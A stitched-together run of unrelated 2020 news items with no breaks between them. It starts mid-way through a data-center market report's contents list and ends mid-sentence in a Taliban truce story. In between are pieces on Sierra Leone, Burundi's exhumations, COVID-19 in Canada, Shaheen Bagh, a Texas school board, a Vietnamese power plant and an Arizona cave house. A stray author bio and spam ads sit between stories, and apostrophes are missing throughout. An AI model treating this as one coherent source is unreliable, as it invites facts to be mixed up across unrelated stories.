8.3 Rising Construction of Hyperscale Data Centers 8.4 Tax Incentives & Area Allocation to Enhance Data Center Deployment 8.5 M&A, Joint Ventures Fuel Data Center Growth 8.6 Rise in AI & Machine Learning Workloads in APAC Data Centers 8.7 Increase in Submarine Fibre Cable Deployment 9 Market Restraints 9.1 Security Challenges in Data Centers 9.2 Data Center Development Constraints 9.3 Increase in Power Outages Due To Equipment Failure 9.4 Budget Constraints to Build/Procure Data Centers 10 Market Opportunities & Trends 10.1 5G Deployment to Increase Edge Data Center Investments 10.2 Increasing Procurement of Renewable Energy 10.3 Rising Awareness to Improve Data Center Efficiency 10.4 Lithium-Ion to Replace VRLA Batteries in Data Centers 10.5 Growth in Data Traffic to Aid Adoption of 200GBE & 400GBE Ports 10.6 NVME to Dominate in Flash Deployment 11 Market Landscape 11.1 Market Overview 11.2 Market Size & Forecast 11.3 Five Forces Analysis 11.3.1 Threat of New Entrants 11.3.2 Bargaining Power of Suppliers 11.3.3 Bargaining Power of Buyers 11.3.4 Threat of Substitutes 11.3.5 Competitive Rivalry 12 Facility Type 12.1 Facility: Snapshot & Growth Engine 12.2 Area: Snapshot & Growth Engine 12.3 Power Capacity: Snapshot & Growth Engine 12.4 Small Data Centers 12.5 Medium Data Center 12.6 Hyperscale Data Center 13 Infrastructure 13.1 Market Snapshot & Growth Engine 13.2 Market Overview 13.3 IT Infrastructure 13.4 Electrical Infrastructure 13.5 Mechanical Infrastructure 13.6 General Construction 14 IT Infrastructure 14.1 Market Snapshot & Growth Engine 14.2 Server Infrastructure 14.3 Storage Infrastructure 14.4 Network Infrastructure 15 Electrical Infrastructure 15.1 Market Snapshot & Growth Engine 15.2 UPS Systems 15.3 Generators 15.4 Transfer Switches & Switchgear 15.5 Power Distribution Units 15.6 Other Electrical Infrastructure 16 Mechanical Infrastructure 16.1 Market Snapshot & Growth Engine 16.2 Cooling Systems 16.3 Racks 16.4 Other Mechanical Infrastructure 17 Cooling Systems 17.1 Market Snapshot & Growth Engine 17.2 CRAC & CRAH Units 17.3 Chiller Units 17.4 Cooling Towers, Dry Coolers, & Condensers 17.5 Economizers & Evaporative Coolers 17.6 Other Cooling Units 18 Cooling Technique 18.1 Market Snapshot & Growth Engine 18.2 Air-Based Cooling Techniques 18.3 Liquid-Based Cooling Techniques 19 General Construction 19.1 Market Snapshot & Growth Engine 19.2 Building Development 19.3 Installation & Commissioning Services 19.4 Building Design 19.5 Physical Security 19.6 DCIM/BMS 20 Tier Standards 20.1 Market Snapshot & Growth Engine 20.2 Overview Of Tier Standards 20.3 Tier I and II 20.4 Tier III 20.5 Tier IV 21 Geography 21.1 Investment: Snapshot & Growth Engine 21.2 Area: Snapshot & Growth Engine 21.3 Power Capacity: Snapshot & Growth Engine 22 China & Hong Kong 23 Australia & New Zealand 24 India 25 Japan 26 Rest Of APAC 27 Southeast Asia 28 Competitive Landscape 28.1 IT Infrastructure 28.2 Electrical & Mechanical Infrastructure 28.3 General Construction 29 Key Data Center Critical (IT) Infrastructure Providers 29.1 Hewlett Packard Enterprise (HPE) 29.1.1 Business Overview 29.1.2 Product Offerings 29.1.3 Key News 29.2 Cisco 29.3 Dell Technologies 29.4 Huawei 29.5 IBM 29.6 Inspur 30 Key Data Center Support Infrastructure Providers 30.1 ABB 30.1.1 Business Overview 30.1.2 Product Offerings 30.1.3 Key News 30.2 Eaton 30.3 Rittal 30.4 Schneider Electric 30.5 Stulz 30.6 Vertiv 30.7 Caterpillar 30.8 Cummins 31 Key Data Center Contractors 31.1 AECOM 31.1.1 Business Overview 31.1.2 Service Offerings 31.2 Arup 31.3 Aurecon 31.4 CSF Group 31.5 DSCO Group 31.6 M+W Group 31.7 NIKOM Infrasolutions 31.8 NTT Facilities Group 32 Key Data Center Investors 32.1 Apple 32.1.1 Business Overview 32.1.2 Service Offerings 32.1.3 Key News 32.2 AWS (Amazon Web Services) 32.3 GDS Holdings 32.4 Google 32.5 Digital Realty 32.6 Equinix 32.7 NEXTDC 32.8 NTT Communications 32.9 ST Telemedia Global Data Centers (STT GDC) 33 Other Prominent Critical (IT) Infrastructure Providers 33.1 Arista 33.1.1 Business Overview 33.1.2 Product Offerings 33.2 ATOS 33.3 Broadcom 33.4 Extreme Networks 33.5 Hitachi Vantara 33.6 Inventec 33.7 Juniper 33.8 Lenovo 33.9 NEC 33.10 Netapp 33.11 Oracle 33.12 Pure Storage 33.13 Quanta Cloud Technology (Quanta Computer) 33.14 Super Micro Computer 33.15 Wistron (WIWYNN) 34 Other Prominent Support Infrastructure Providers 34.1 Airedale Air Conditioning 34.1.1 Business Overview 34.1.2 Product Offerings 34.1.3 Key News 34.2 ALFA Laval 34.3 Asetek 34.4 Bosch Security Systems (Robert Bosch) 34.5 Cyber Power Systems 34.6 Delta Group 34.7 Euro-Diesel (KNOLT) 34.8 Green Revolution Cooling 34.9 Hitech Power Protection 34.10 Kohler (SDMO) 34.11 Legrand 34.12 NLYTE Software 34.13 Mitsubishi 34.14 MTU On Site Energy (Rolls-Royce Power Systems AG) 34.15 SOCOMEC 34.16 TRANE (Ingersoll Rand) 35 Other Prominent Construction Contractors 35.1 DPR Construction 35.1.1 Business Overview 35.1.2 Service offerings 35.2 CORGAN 35.3 CSF Group 35.4 CUNDALL 35.5 Faithful+Gould 35.6 Flexenclosure 35.7 Fortis Construction 35.8 Hutchinson Builders 35.9 ISG 35.10 L&T (Larsen & Toubro) 35.11 Linesight 35.12 LSK Engineering 35.13 NAKANO Corporation 35.14 Obayashi Corporation 35.15 Red-Engineering 36 Other Prominent Data Center Investors 36.1 Bridge Data Centers 36.1.1 Business Overview 36.1.2 Service Offerings 36.1.3 Key News 36.2 Canberra Data Centers 36.3 CHAYORA 36.4 China Unicom 36.5 CTRLS 36.6 FPT (Frasers Property Thailand) 36.7 Global Switch 36.8 Internet Initiative Japan Inc. (IIJ) 36.9 Keppel Data Centres 36.10 NEO Telemedia 36.11 PI Datacenters 36.12 Reliance Communications (Global Cloud Xchange) 36.13 Sify Technologies 36.14 Space DC 36.15 Tenglong Holdings Group (Tamron) 36.16 Yotta Infrastructure For more information about this report visit https://www.researchandmarkets.com/r/yyc0zq Story continues Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. CONTACT: ResearchAndMarkets.com Laura Wood, Senior Press Manager press@researchandmarkets.com For E.S.T Office Hours Call 1-917-300-0470 For U.S./CAN Toll Free Call 1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 When Julius Maada Bio, 55, assumed the presidency of Sierra Leone in April 2018, the country was on a slow but steady rebound following the 20142015 Ebola epidemic. Annual GDP growth stands at 4.8%. Buoyed by increased agricultural output and the resumption of iron ore production and export, Sierra Leones GDP growth should reach 5.4% in 2020, according to the World Bank. Still, the 2019 UNDP Human Development Index, which ranks countries based on income, life expectancy, education and quality of life, among other indicators, placed Sierra Leone at 184 out of 189 countries. President Bio has acknowledged that there is much yet to be done. Development strategy At the centre of his development strategy, Mr. Bio told Africa Renewal in an interview, is investment in education, healthcare, empowering women and ending gender-based violence, and agriculturealigning the strategy with the UNs 2030 Agenda for Sustainable Development as well as the aspirations of the African Unions Agenda 2063. My government has allocated 21% of the national budget to education, Mr. Bio said, which is one of the highest such allocations in the world. Pre-primary to secondary school education is now free, irrespective of gender, ability or ethnicity. In addition, he said his government provides the students with core textbooks and other reading materials. We also provide free meals for student retention and for a balanced nutrition. Empowering women and girls We have expanded opportunities for girls by creating safe places in schools and by campaigning vigorously against early marriage and sexual and gender-based violence, the president said. Girls who decide to study STEM [science, technology, engineering and math] subjects get automatic scholarships at university, added Mr. Bio. As the same time, he lamented that the current maternal mortality rate is unacceptably high. Sierra Leone has one of the highest infant and maternal mortality ratios in the world: 857 maternal deaths per 100,000 live births and 140 infant deaths per 1,000 live births, according to the UN Population Fund, the UNs reproductive health and rights agency. The government provides free health care for pregnant women. We are working on different interventions targeting teenagers and adults, said Mr. Bio. Pregnancy must not be a death sentence. As well, Mr. Bio is working to tackle gender-based violence in his country, vowing that perpetrators will find no hiding place. The president declared rape and sexual violence a national emergency in February 2019 after police statistics showed cases of rape doubling in 2018. This was followed swiftly with a law. We just passed in Parliament an act [Sexual Offences (Amendment) Act 2019] that makes punishment for gender-based violence much stiffer than before. The act stipulates up to 15 years in jail for perpetrators, including people who use positions of influence to sexually abuse or harass others. The Sierra Leonean governments agricultural goals include livestock development and diversifying away from rice production to what it calls the three Cs: coffee, cashewnuts and cocoaall with the help of modern technologies. Rice is Sierra Leones staple food, cultivated by 85% of its farmers. Nearly 50% of Africas population is under the age of 19. The president maintained that anxiety over the growing youth population vis-a-vis increased poverty, violent extremism and other threats can be addressed through social inclusion programmes, skills training and farming initiatives. https://www.un.org/africarenewal/ Lou Ann Homan-Saylor lives in Angola at the White Picket Gardens where you can find her gardening or writing late into the night under the light of her frayed scarlet lamp. She is a storyteller, teacher, writer, actress and a collector of front porch stories. She can be contacted at locketoftime@aol.com. A government commission which has exhumed the remains of more than 6,000 Burundians slaughtered in pogroms in 1972 is being accused of exploiting the sombre task for political gain and stoking ethnic tensions ahead of elections. The Truth and Reconciliation Commission (TRC), set up in 2014 to deliver justice and closure to victims of Burundis darkest chapters, has been excavating the mass grave since the start of the year and believes there are many more similar sites. Hundreds of thousands of Burundians died in waves of ethnic violence and civil war that have scarred the country since independence in 1962, with massacres between the Hutu ethnic majority and the minority Tutsi. Two major slaughters were the 1972 killings of mainly Hutu by Tutsi and the 1993 killings of mainly Tutsi by Hutu. The TRC was established in 2014 to deliver justice and closure to victims of Burundis darkest chapters. On Monday, Commission chairman Pierre-Claver Ndayicariye said graves discovered along Ruvubu, about 20 kilometres (12 miles) from Burundis new administrative capital Gitega, could be just the beginning. Witnesses speak of other mass graves further away in cornfields, he told AFP, indicating a dozen other sites had been flagged for investigation. But opponents of Burundis ruling party say the commission has abused its mandate by preferencing excavation work at sites where Hutus were buried, while ignoring pits containing Tutsi victims. Critics allege the commissions work at Ruvubu amounts to political interference at a critical moment as presidential elections loom in May. The TRC is deliberately targeting mass graves which it says are those of Hutu victims, while every one knows there was a slaughter of Tutsi in 1993, near the current sites being explored, said Emmanuel Nkurunziza, from the Canadian branch of AC Genocide Cirimoso, an activist group. It is participating in the election campaign of the ruling CNDD-FDD party by rallying Burundis Hutus to its cause, he said. President Pierre Nkurunziza is a former Hutu rebel whose father was killed in one of the ethnic massacres in 1972 that decimated the Hutu elite. The cultish leader, who believes he was chosen by God to rule the nation, is not seeking a new mandate after his contentious election to a third term in 2015 plunged Burundi into a crisis. The violent aftermath left 1,200 people dead and made Burundi a focus of an investigation by the International Criminal Court for alleged murder, rape, torture and disappearances. They are Burundians Despite the Hutu being the majority in the country, it was the Tutsi who were favoured by colonial administrators who held a monopoly on power after independence. Burundis first Hutu prime minister after independence was assassinated in 1965. That same year after the Hutu won a parliamentary election the then-king refused to accept their choice as prime minister and appointed a Tutsi. It was these tensions which simmered and culminated in a Hutu revolt in 1972 in which thousands of Tutsi were killed, followed by a deadly reprisal which Hutu activists say led to between 100,000 and 300,000 of their people being massacred. Witnesses told the commission that in May and June 1972, Hutus were transported from Gitega prison by trucks every night to the banks of the Ruvubu, where they were executed and dumped in pits. Ndayicariye said it was not for the commission to say whether the victims were Hutu or Tutsi. They are Burundians, first and foremost, he said, adding a thorough investigation would identify the victims and their tormentors. But Vital Nshimirimana, a civil society activist in exile, said the commission had drawn hasty conclusions to support a narrative of Hutu victimhood, a potent rallying cry in the pre-election phase. In 1993, the countrys first free presidential election saw the first Hutu president elected. Just four months later the president was assassinated in an attempted Tutsi-led coup, setting off a wave of killings of thousands of Tutsi. The events prompted further reprisals and plunged the country into a civil war which lasted until 2006 and left an estimated 300,000 dead on all sides. As in neighbouring Rwanda, where similar ethnic tensions culminated in the 1994 genocide of at least 800,000 mainly Tutsi by Hutu, the historical narrative of victimhood remains extremely sensitive. No credibility The TRC has so far identified 4,000 grave sites across the country and exhumed 142,500 victims. The commission is comprised almost exclusively of ruling party cadres and Ndayicariye, its chairman, was head of Burundis election commission during the 2010 and 2015 polls. Nkurunziza won both in disputed circumstances the first unopposed when the opposition boycotted, and the second after sidestepping constitutional limits to run again. The current TRC has no credibility or independence, said Chauvineau Mugwengezo, the exiled Belgian president of the CFOR-Arusha, a collective of opposition parties. The commission is stacked by ruling party hardliners and is being used for electoral purposes, risking rekindling ethnic hatred in Burundi, he added. For two weeks, MS Westerdam traveled the seas looking for a place to dock, after five countries refused it entry because of coronavirus fears. The ordeal ended Friday when Cambodia allowed the boat to land and for guests at last to leave the ship. Cambodias prime minister personally welcomed passengers at the port. The ships passengers came from 41 countries and territories, with U.S. citizens being the largest group represented, Bloomberg News reported. The Communist Party of India- Marxist (CPI-M) on Friday lauded the Shaheen Bagh protest, comparing it to Non-Cooperation Movement, which was launched by Mahatma Gandhi in 1920 against the British rule over India. "Shaheen Bagh has become a symbol of protest. We saw the Non-Cooperation movement in the struggle of independence, and that became a symbol of peaceful protest. Now after so many years, Shaheen Bagh protest is a new method of protesting without violation of laws and without breaking rules," Hannan Mollah, senior CPI-M leader, told ANI. For more than two months, hundreds of protestors, especially Muslim women, in Delhi's South-East Shaheen Bagh area, have been sitting on a protest against the controversial citizenship law. "Even internationally in London, Paris and New York people are sitting like that. It has become a new method of peaceful protesting and fighting for rights," added Mollah, the eight times Lok Sabha lawmaker from West Bengal. The Supreme Court had on Monday appointed senior lawyers Sanjay Hegde and Sadhna Ramachandran and former chief information commissioner Wajahat Habibullah to go and talk to protesters at Shaheen Bagh area to convince them to hold the agitation at an alternative site. The apex court has fixed the matter for further hearing on February 24. A PIL, filed by Nand Kishore Garg and Amit Sahni through their lawyer Shashank Deo Sudhi earlier last week, sought appropriate directions to the Centre and others for removal of protestors from Shaheen Bagh near Kalindi Kunj. It stated that people in Shaheen Bagh are illegally protesting against the CAA by blocking the common and public road connecting Delhi to Noida. On Friday, Noida-Faridabad road was reopened after remaining shut for the last 69 days due to protests in Shaheen Bagh. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) NEW YORK, Feb. 21, 2020 /PRNewswire/ -- Houghton Mifflin Harcourt Books & Media (HMH Books & Media) announced today it has acquired a memoir by former U.S. Ambassador to Ukraine, Marie Yovanovitch. The as yet untitled memoir will recount her long career in the U.S. foreign service, which took her from Mogadishu to Moscow to Kyiv and finally back to Washington, DCwhere, to her dismay, she found a political system beset by many of the same challenges she had spent her career combating overseas. In addition to tales from her eventful and accomplished life as a senior American diplomat, Yovanovitch's book will deliver pointed reflections on the issues confronting America today, and thoughts on how we can shore up our democracy. Sr. Editor Alex Littlefield acquired world rights to the book from Matt Latimer and Keith Urbahn of Javelin in a pre-empt hours after the HMH team met with the Ambassador. HMH plans to publish in spring 2021. "Ambassador Yovanovitch has devoted her entire career to public service, fighting for freedom and democracy against the forces of corruption and authoritarianism around the globe. Little did she know that she would need to bring that same fight right here, to Washington. Her recent congressional testimony electrified the nation," said Bruce Nichols, HMH SVP and Publisher. "We could not be more excited to publish her inspiring and urgently needed story." Until her retirement from the State Department in January 2020, Marie Yovanovitch was a senior American diplomat who served in multiple high-profile domestic and overseas posts, including Senior Advisor to the Under Secretary of State for Political Affairs, Principal Deputy Assistant Secretary for the Bureau of European and Eurasian Affairs, and U.S. Ambassador to Kyrgyzstan, U.S. Ambassador to Armenia, and U.S. Ambassador to Ukraine. A recipient of Georgetown University's Trainor Award (conferred for "excellence in the conduct of diplomacy," with past winners including Madeleine Albright and Kofi Annan), she currently is a Non Resident Fellow at the Institute for the Study of Diplomacy at Georgetown. About Houghton Mifflin Harcourt Books & Media For nearly two centuries, Houghton Mifflin Harcourt has published some of the world's most renowned novels, nonfiction, children's books, and reference works. As part of a leading global learning company, it is uniquely positioned to offer educational and entertaining content for all audiences. Its distinguished author list includes ten Nobel Prize winners, forty-eight Pulitzer Prize winners, fifteen National Book Award winners, and more than one hundred Caldecott, Newbery, Printz, and Sibert Medal and Honor recipients. Current and recent authors include Tim O'Brien, Natasha Trethewey, Paul Theroux, Alison Bechdel, Adam Hochschild, Tim Ferriss and a celebrated roster of children's authors and illustrators including Kwame Alexander, Lois Lowry, and Chris Van Allsburg. HMH is also home to The Best American series The Whole30, Weber Grill, How to Cook Everything, and other leading lifestyle properties; books by J.R.R. Tolkien; and many iconic children's books and characters, including Curious George, The Little Prince, and The Polar Express. HMH Productions develops and produces media and licensed products related to brands such as Carmen Sandiego and Oregon Trail. HMH Audio, publishes audio books of HMH front list and backlist titles. Contact: Lori Glazer SVP, Executive Director of Publicity Houghton Mifflin Harcourt (212) 420-5840 [email protected] SOURCE Houghton Mifflin Harcourt Passengers wearing respiratory masks walk across a terminal towards the check in counter at Rome's airport in Italy on Jan. 31, 2020. (Tiziana Fabi/AFP via Getty Images) Woman Returning Home From Iran Is BCs Sixth Coronavirus Case OTTAWAA sixth presumptive case of COVID-19 has been diagnosed in British Columbia after a woman in her 30s returned to the province from Iran, bringing the total number of cases in Canada to nine. Provincial health officer Dr. Bonnie Henry said on Feb. 20, the latest patients case is relatively mild and a number of her close contacts have already been put in isolation. Henry said earlier this week that four of the five people already diagnosed with the virus were symptom free. This latest case comes as a planeload of Canadian evacuees who have spent weeks confined to cabins aboard a coronavirus-stricken cruise ship in Japan were expected to begin two weeks of isolation in Cornwall, Ont., on Feb. 21, unless Canadas top health official deems them healthy enough to be released. And Canadian authorities are looking closely at their experience on the Diamond Princess cruise ship as the country prepares for an upcoming tourist season with concerns about the novel coronavirus, called COVID-19, still very much in the air. Initially, the government said the evacuees from Japan would have to spend 14 days in isolation because that is considered the typical incubation period for the virus. The quarantined Diamond Princess cruise ship sits docked at the Daikoku Pier at night in Yokohama, Japan on Feb. 20, 2020. (Tomohiro Ohsumi/Getty Images) But because all the passengers have been tested for the virus by Japanese authorities, Health Minister Patty Hajdu said Thursday there is a chance that they will be released early from quarantine if they show no symptoms upon their return to Canada, under the discretion of Canadas top public-health doctor. Those who were cleared to travel are to be screened again at Canadian Forces Base Trenton before they are placed in isolation at the Nav Centre in eastern Ontario. Each passenger was given a government-issued facemask and coloured wristband before they were ushered off the ship in Yokohama to nearby Tokyos Haneda Airport, according to a letter from government officials to the evacuees on board the ship. Dr. Theresa Tam, Canadas chief public-health officer, has already released flight crew and medical personnel who escorted Canadians home from Wuhan, China, where COVID-19 was first detected, but so far all the evacuees themselves have had to serve the full quarantine period. The Diamond Princess cruise ship has seen the largest outbreak of the virus outside China, with 634 passengers having tested positive at last count. The Diamond Princess cruise ship sits docked at Daikoku Pier in quarantine in Yokohama, Japan on Feb. 7, 2020. (Carl Court/Getty Images) Hajdu said Canada will be keeping its eye on Japans examination of how the virus was handled aboard the ship, especially as it relates to Canadas own upcoming tourist season. Measures aboard the ship seemed to do little to keep COVID-19 from spreading. Canada has numerous cruise terminals, from relatively big cities such as Vancouver and Montreal to smaller ports such as Prince Rupert, B.C., and Baie Comeau, Que. There has been obviously concern about the practices on board the ship that have potentially led to the increased spread of the coronavirus on the ship, Hajdu said, adding that she also has empathy for Japanese officials who had to handle the quarantine of more than 3,000 people docked off a major city. The evacuation came just after Japanese officials broke the news that two passengers from the ship died after contracting the virus. The two people who died, a man and a woman in their 80s who are both Japanese, were believed to have been infected before the quarantine began on the ship, Japanese health ministry official Masami Sakoi said Thursday. The 47 Canadian passengers who have already tested positive for COVID-19 remain in Japan for treatment. Other Canadians who did not wish to return to Canada on the chartered flight will be expected to undergo a mandatory 14-day quarantine when they eventually return to the country on a commercial flight. Those Canadians are to be flagged upon their return to the country, and live out their isolation periods at home or in a designated facility, Hajdu said. Anyone who returns commercially who doesnt abide by the quarantine order would face penalties, she said. As for the first 213 Canadian evacuees and their families who have served out their two week quarantine at CFB Trenton, they are scheduled to be released on Feb. 21. So far, none have developed symptoms after their arrival from Wuhan, China, the centre of the COVID-19 outbreak. The second wave of Wuhan evacuees are expected to be released next week. The government is now working to help facilitate their return to their homes. With new faces and a fresh look, the Beaumont ISD Board of Trustees took their seats at a recently renovated dais for the first time in almost six years, ending state involvement in the management of the district. The board of managers set out with a task, and that task was to restore the financial stability and viability of this district, said Jeff Cottrill, the deputy commissioner of governance and accountability for the Texas Education Agency. And over the last years that has been done. Cottrill thanked Angela Bransford, the last state-appointed manager, who left the stage as Kevin Reece and Robert Dunn were sworn in and took their seats. I implore you, the board of trustees, those that will rotate on into their locally elected serving seats to continue to do the good work for our students in Beaumont to ensure that they get a high quality education, Cottrill said. The night was celebratory, with students being recognized for reading as part of a campus program, and the board members taking their seats. But the clean break from a past fraught with financial troubles was punctuated by public comments highlighting new problems that the local board of trustees will face. One resident asked the new board to return the teaching staff that was slashed after the board of managers took over to stave off financial ruin, causing increased class sizes and an uptick in discipline issues. Another Beaumont resident, BISD employee Linda Gilmore, told the board what those issues look like firsthand. I would like to say thanks to the most visible superintendent in my era with BISD with an A+ cabinet, Gilmore said. Our problems are too broad for your small group to handle. It is like the coronavirus, spreading from the school to the community. We have to stop putting band-aids on it and fix it. Gilmore criticized in-school suspension, recommending Saturday school or other measures that involve more work for the students to do, and asked Superintendent Shannon Allen and the rest of the administration to take time to visit the disciplinary alternative education program campus. Close this building and everybody from the custodian to the superintendent walk in my world for a day you will get sick to your stomach, she said. It is going to be hard, but hard does not mean impossible. I need you all to come and see and hear our concerns at the DAEP ... for the first time in my 40 years, I dont want to go to work tomorrow. One of the new trustees, Robert Dunn, ran his 2019 campaign on tackling the districts sky-high discipline rates. Everything I campaigned on about trying to get the discipline straight, working with parents and the students and the whole entire community, I will do my best to do, Dunn told The Enterprise. One of the key players in the months leading up to the takeover in 2014, Mike Getz also testified before the board, lauding their return to local control and turning their attention to concerns he and other community members have about South Park Middle School. We should stop and remember that it was because of poor decision making, and a failure to listen to the community by prior boards and prior administrations, that led to the state coming in to take over the district in the first place, Getz said. Tonight I want to speak on the decision that is causing concern for members of the community, and myself, and that is with regard to what is going to become of South Park Middle School. Students at South Park Middle School were transferred to Vincent and King middle schools after Tropical Depression Imelda flooded out several campuses, causing the district to shuffle their students. The campus currently houses ninth-graders from Beaumont United High School, with plans to move the Early College High School into it next year. South Park Middle School is built to house 750 students and is a promise to those kids in the neighborhood to provide them a school, Getz said. It is not fair to ask them to have to trek all the way to Vincent or all the way to King out of their neighborhood. Getz is no stranger to going head-to-head with the district over South Park, having led an unsuccessful legal challenge to the destruction of former South Park High School, which is where the contested campus now stands. After the public comment and the swearing-in of the two new trustees, the board moved to appoint Darrell Antwine Sr. for the final vacancy, and moved into conducting the business of the board. New board members abstained from the votes, which included approving the purchases of new police vehicles and paying for the tuition of students attending the Early College High School and approving an engineer to fix the roof at Vincent Middle School. Allen lauded the return to local control in her report. BISD, we have come a long way, Allen said. We have a big job we understand that. We understand the task that is before us. And although it is challenging, that does not mean that we cannot do it and do it well for our kids. It is about the success of our children. While the manager and the TEA left the building, a state-appointed conservator remains to monitor the transition. Darrell Myers, who was lauded by Board President Thomas Sigee as an integral part of the team, said it was an exciting move for the transition. When I came in in August of this year, it was pretty much a light touch situation, because most of the programs and the things that needed to happen were in place, Myers said. Now that we have transitioned to a local board, my job will be basically to help them transition back from a board of managers to local board of trustees and be there to support them and ensure they have what they need to be successful. Myers said Allen and the board would likely turn their focus to academics, noting that they have made progress already. In terms of discipline issues, Myers said he is confident the board will address the underlying problems there as well. My role is diminishing, and the local board of control is increasing, so I think what you will see is there are some stressors that have happened in the community that have caused some of those issues. And I think you will see that the administrative team is addressing those. It is going to take a little bit of time, but I have faith in this administrative team. isaac.windes@hearstnp.com twitter.com/isaacdwindes The encroachment on the construction of Quang Trach 1 Thermal Power Plant in Quang Binh Province has affected the project's progress. A corner of Vinh Son Village, Quang Dong Commune. The area is part of the planned site for the Quang Trach 1 Thermal Power Plant in Quang Binh Province. Photo vov.vn Quang Trach 1 Thermal Power Plant, a component project of the Quang Trach Power Centre, started construction in 2011. Covering 199ha in Quang Dong Commune, Quang Trach District, the plant was expected to have a total capacity of 1,200MW and provide 8.4 billion kWh per year. At present, contractors are building infrastructure for the plant. However, a number of households in Vinh Son Village have encroached on the land allocated for the project. They illegally built houses, slaughterhouse and fences to delineate cultivation land. Some families have received compensation but not yet handed over land, the Voice of Vietnam reported. "Local authorities are calling on people to quickly hand over land to the project. We will take tougher measures to deal with this problem," said Nguyen Duc Hien, chairman of Quang Dong Commune People's Committee. In 2017, Electricity of Vietnam (EVN) replaced the Vietnam Oil and Gas Group (PetroVietnam) as the developer of Quang Trach 1 Thermoelectric Plant due to the slow implementation by the former developer, according to a decision issued by Prime Minister Nguyen Xuan Phuc. EVN has completed compensation and support for 427 out of 434 households affected by the project. Vice chairman of provincial People's Committee Nguyen Xuan Quang said the local government needed to publicise all information related to the plant's operation as well as compensation policies and support for resettlement in order to receive support from local residents. People in Vinh Son Village and Quang Dong Commune support the project to be implemented as scheduled. This is an important project, ensuring energy security, Quang said. The resettlement aims to minimise the negative impact as the plant comes into operation. The investor has committed to apply advanced technology to minimise emissions. People have repeatedly hindered the construction due to the investor's delay in compensation for site clearance and concerns that the plant will cause pollution when it comes into operation. VNS Imported, domestic coal mixture suspected as cause of power plant explosion The mixing of domestic and imported coal, leading to the production of slag, may be the cause of an explosion that occurred at State-owned Uong Bi Thermal Power Plant in Quang Binh on Sunday. In the mid-'80s a couple who owned 37 acres in the high Arizona desert wanted to build something a little different. Employing a Swedish mining technique, they carved a comfortable modern home into a mountainside in the former mining town of Bisbee. Their ingenious idea created a weatherproof home unlike any other in the world. Now, the one-of-a-kind cave house is on the market for $998,500. It awaits new owners who totally dig adventurous, beautiful, underground living. The cave dwelling has been featured on HGTV and Forbes, and we even covered it way back in 2013. The current owner purchased the three-bedroom, four-bathroom, 2,500-square-foot home in 2018 for $987,000. But after just a couple of months of ownership, he decided to sell the property so he could travel the world, according to listing agent Krystal Winters. The main house includes a jaw-dropping tropical bathroom, a kitchen, dining area, spiral staircase, and loft bedroom. The property is fed by natural hot springs, which fill pools and a hot tub located throughout the property. The boulders surrounding the home keep temperatures constant throughout long, hot desert summers and chilly winters. Above ground is a detached two-story guesthouse with an office, library, workshop, and carport. Living space realtor.com Kitchen realtor.com Dining room realtor.com Tropical bath realtor.com Hallway realtor.com Loft bedroom realtor.com Another bedroom realtor.com Patio realtor.com Guesthouse realtor.com Springs realtor.com Bisbee sits in Southern Arizona among the Mule Mountains. During the early 1900s, it was a booming mining town. After the mine closed in the 1970s, the town was reinvented as a haven for artists looking for an inexpensive place to settle down. The cave home is an ideal representation of the arearugged and fiercely individual. And considering the home was listed for $1.5 million in 2013, the current list price makes this quirky abode a bargain to boot. The post Could You Live in a Cave? Arizona Home Carved Into a Mountain Beckons Intrepid Buyers appeared first on Real Estate News & Insights | realtor.com. New York, NY -- (SBWIRE) -- 02/21/2020 -- The literature holds crucial information like drivers, opportunities, existing trends in the industry, and challenges that helps the buyers and business owners to understand the market scenario and make future plans accordingly. Industry players can hence, create benchmark in the market and improve their market presence significantly in the coming years. Experts have delivered accurate statistics on market share, size, and growth rate for better information to the buyers. Request Sample Report @ https://www.marketgrowthinsight.com/sample/83447?utm_source=vaibhav Meat, Poultry And Seafood Packaging Industry industry players can also gain advantage from the detailed insights on various segments. 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We identified the caliber of market dynamics & hence we excel in the areas of innovation and optimization, integrity, curiosity, customer and brand experience, and strategic business intelligence through our research. Contact Us- 2nd Floor, Manikchand Ikon, B- Wing, Dhole Patil Road, Sangamwadi, Pune 411 001 sales@marketindustryreports.com +1 347 767 5477 ( US ) +44 131 463 4161 ( UK ) +91 8956 767 535 ( IN Representatives of the competent authorities of Ukraine and the European Union discussed the current state of implementation of EU laws in the field of sanitary and phytosanitary measures in Ukrainian legislation in accordance with the Association Agreement. On February 20, a meeting was held between representatives of the Food Safety Directorate at the Ukrainian Economic Development Ministry, the State Service of Ukraine on Food Safety and Consumer Protection, and representatives of the EU project Improvement of Food Safety Control System in Ukraine and the EU Delegation to Ukraine, the press service of the Ministry for Development of Economy, Trade and Agriculture of Ukraine reported. The European side was informed that the goal of the Program of Activities of the Cabinet of Ministers of Ukraine 7.2. Ukrainian consumers receive safe goods and services was in line with the implementation priorities of the comprehensive strategy regarding sanitary and phytosanitary measures of the Association Agreement. Based on the results of the meeting, the parties updated their joint work plan and agreed to strengthen expert cooperation on adapting Ukrainian legislation as part of the comprehensive implementation strategy for Chapter IV of the Association Agreement (in the field of sanitary and phytosanitary measures). ish A week-long "reduction in violence" between the Taliban, the US, and Afghan security forces will commence shortly, an official said Friday, ahead of the signing of a possible deal between Washington and the insurgents. If the partial truce goes ahead, it would mark a historic step in more than 18 years of gruelling conflict in Afghanistan and would pave the way for a deal that could, ultimately, see the war end. "The reduction in violence will start from 22 February and will last for one week," Javed Faisal, Afghanistan's National Security Council spokesman, told AFP. US Forces-Afghanistan declined to comment. One Taliban source in Pakistan confirmed to AFP the partial truce would commence Saturday. The United States has been in talks with the Taliban for more than a year to secure a deal in which it would pull out thousands of troops in return for Taliban security guarantees and commitments. A reduction in violence would show the Taliban can control their forces and demonstrate good faith ahead of any signing, which would see the Pentagon withdraw about half of the 12,000-13,000 troops currently in Afghanistan. Afghan officials have said the US-Taliban deal could be finalised February 29 in Doha, assuming the reduction in violence proceeds to plan. The Taliban source in Pakistan said: "both sides have agreed to sign the agreement on February 29", adding that talks between the Taliban and the government, needed to cement a broader peace deal, are slated to start March 10. A second Taliban official in Pakistan told AFP the reduction in violence might not start until Sunday. Whether it is "Saturday or Sunday does not matter. The Taliban leadership council has basically given a green light to start the reduction in violence and sign the deal," the official said, adding, "it's happening". In Afghanistan's southern province of Kandahar, which is seen as the Taliban's heartland, one insurgent told AFP he had received orders to stand down. "We have got the orders from our leadership that reduction in violence period will start from Saturday, and we have been ordered to be ready for it," the source said. The US and the Taliban have been tantalisingly close to a deal before, only to see President Donald Trump 